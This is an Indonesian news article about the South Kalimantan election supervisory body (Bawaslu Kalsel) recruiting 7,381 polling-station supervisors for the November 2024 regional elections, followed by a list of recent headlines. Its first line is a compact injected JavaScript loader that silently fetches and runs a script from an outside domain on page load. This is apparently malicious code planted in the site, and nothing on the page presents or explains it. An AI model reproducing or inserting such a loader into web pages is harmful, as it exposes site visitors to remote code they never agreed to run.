(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Bawaslu Kalsel Buka Seleksi Ribuan PTPS Awasi Pemungutan Suara


KANALKALIMANTAN.CON, BANJARMASIN – Badan Pengawas Pemilu (Bawaslu) Provinsi Kalimantan Selatan (Kalsel) membuka pendaftaran Pengawas Tempat Pemungutan Suara (PTPS) untuk Pemilihan Daerah (Pilkada) Serentak 2024.

PTPS bertugas mengawasi pemungutan suara di TPS untuk pemilihan gubernur dan wakil gubernur, wali kota dan wakil wali kota/bupati dan wakil bupati pada 27 November 2024 mendatang.

Penerimaan berkas pendaftar dibuka selama 7 hari sejak Kamis (12/9/2o24), dan akan berakhir pada Kamis (18/9/2024) mendatang.

Berbeda dari Pilpres 2024, PTPS yang direkrut Bawaslu Kalsel pada Pilkada 2024 jumlahnya berkurang.

Baca juga: Inspektorat Banjarbaru Proses Dua Pejabat ke Luar Daerah Tanpa Izin

Hal itu dikarenakan bertambahnya jumlah maksimal pemilih pada setiap TPS, sehingga jumlah TPS yang diawasi PTPS pada setiap kelurahan/desa juga otomatis mengalami pengurangan.

Komisioner Bawaslu Kalsel, Des Rizal Rachmat Rofiat mengatakan, sementara pada Pilkada kali ini pihaknya akan merekrut sebanyak 7.381 PTPS. Jumlah itu tersebar di 13 Kabupaten/Kota se Provinsi Kalsel.

“Untuk saat ini kami rencana akan merekrut sebanyak 7.381 PTPS sesuai dengan data jumlah TPS pada SK penetapan DPS,” kata Des Rizal kepada Kanalkalimantan.com, Jumat (13/9/2024) malam.

Menurutnya, jumlah tersebut masih bersifat sementara, pihaknya masih menunggu penetapan Daftar Pemilih Sementara Hasil Perbaikan (DPSHP) yang akan ditetapkan oleh Komisi Pemilihan Umum (KPU) Provinsi Kalsel dalam waktu dekat.

“Akan ada penyesuaian apabila ada perubahan jumlah TPS, masih menunggu penetapan DPSHP yang akan ditetapkan oleh KPU Provinsi,” ujarnya

Baca juga: Ini Kata Ketua DPRD Banjarbaru Terkait Raperda APBD 2025

Koordinator Divisi SDM, Organisasi, dan Diklat Bawaslu Kalsel ini melanjutkan, informasi pendaftaran PTPS dapat diakses melalui media sosial (medsos) Bawaslu setempat atau langsung mendatangi sekretariat Panwaslu tingkat kecamatan dan kelurahan/desa.

“Untuk akses informasi pendaftaran bisa melalui medsos yg dimiliki masing-masing di jajaran Bawaslu tingkat ad hoc di kecamatan, dan ada penyebaran spanduk maupun pamflet yang dilakukan oleh pengawas Pemilu di tingkat kecamatan dan kelurahan/desa,” pungkasnya. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Kabupaten Banjar Raih Penghargaan dari Ombudsman

KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More

3 menit ago

Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More

12 jam ago

Naik 6,5 Persen, Upah Minimum Kalsel 2025 Rp3,4 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More

13 jam ago

Grand Final Pemilihan Duta Baca Balangan

KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More

20 jam ago

Optimalkan Fungsi Pasar Itik Alabio

KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More

20 jam ago

Tak Perlu Repot ke Bank, Atasi Blokir Akun BRImo Langsung dari HP!

KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More

24 jam ago

This website uses cookies.